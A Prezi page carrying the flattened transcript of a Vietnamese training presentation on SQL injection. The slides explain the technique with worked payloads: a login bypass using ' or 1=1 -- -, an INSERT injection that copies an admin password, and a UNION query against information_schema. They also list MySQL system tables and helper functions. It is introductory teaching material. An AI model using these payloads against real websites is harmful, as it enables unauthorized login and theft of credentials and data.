Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

SQL Injection

No description
by

Peter Nguyễn

on 19 October 2012

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of SQL Injection

SQL INJECTION Ví dụ 1: Có Bảng Admins Sau Ví dụ 2: Cho Bảng dữ liệu sau Giới thiệu cách tấn công Web
bằng SQL Injection. Ví dụ 3: Có table Giới thiệu cách tấn công Web
bằng SQL Injection. HsM III Windmaker: peternguyen, mikun Nội dung Trainning - SQL Injection là gì ?
- Giới thiệu cách tấn công Web bằng SQL Injection.
- Các Lệnh SQL Thông Dụng.
- Demo Hack Web. --> SQL Injection là kỹ thuật sử dụng các câu lệnh SQL chèn vào phần input của website, từ dó làm thay đổi kết quả trả về của câu truy vấn. Thông qua đó, Attacker có thể lấy được các thông tin quan trọng từ website, như username,password của trang Admin, tài khoản khách hàng, ..... SQL INJECTION Là Gì Giới thiệu cách tấn công Web
bằng SQL Injection. Thông thường form login sẽ dùng câu query :
SELECL username,password from Admins Where username='$user' and password='$password' kiểm tra tài khoản, kết quả trả về (với $user = 'admin' và $password = '25251325' Đôi với Hacker, sẽ nhập $username='1'or 1=1 -- -' và $password = '1234' Câu truy vấn đã bị thay đổi, và hacker đã đăng nhập vào hệ thống mà không cần biết username, hay password Giải thích: $username='1' or 1=1 -- -' và $password = '1234'
Câu query trở thành:
SELECT username,password FROM Admins WHERE username='1' or 1=1 -- - and password='1234'
SQL check điều kiện username='1' là fasle, 1=1 là true, false or true = true. Câu query thành SELECT username,password FROM Admins WHERE True, sẽ lấy hết các data trong bảng Câu query : Insert Into Admins(username,
password) Values ("$username","$password"); Input : $username = peternguyen; $password=123"),(concat((select p from (select password as p from Admins limit 1) as a ))
,"123") -- - Sau khi inject insert into Admins(username,password) Values("peternguyen","123"),(concat((select p from (select password as p from Admins limit 1) as a )),"123") -- - " Kết quả: Query:
Select username from Admins Where id=$id
$id=1" union select 1,table_name,2 from information_schema where table_schema=database() /* Select username From Admins Where id="1" union select 1,table_name,2 from information_schema where table_schema=database() /* " Sau khi Inject: Kết quả: Inject: Một số câu query thông dụng Database,Table quan trọng Database: INFORMATION_SCHEMA MYSQL : yêu cầu root mới truy cập được Table: mysql.user, mysql.db information_schema.schemata information_schema.tables information_schema.columns Hàm thông dụng CHAR() : trả về ký tự trong bảng ascii4
Concat(): trả về kết quả câu truy vấn là chuỗi
Concat_ws(): trả về kết quả là chuỗi với dấu phân biệt
-> concat_ws('.','peter','nguyen') => peter.nguyen Group_concat(): group kết quả trả về chuôi
-> group_concat('peter','-','nguyen') => peter_nguyen Hex/Unhex() : nhận giá trị là 1 chuỗi và trả về hệ 16 và ngược lại Ascii(): nhận 1 ký tự trả về mã của ký tự đó trong bảng ascii Một số mẫu truy vấn thông dụng Union: group 2 kết quả trả về, cùng số cột
Order by: sắp xếp theo thứ tự tăng dần, (DESC giảm dần)
Group by: group cột
Limit {start},{length}: lấy dòng bắt đầu từ dòng x và số cột lấy là n DEMO HACK WEB BẰNG LỖI SQL INJECTION
Full transcript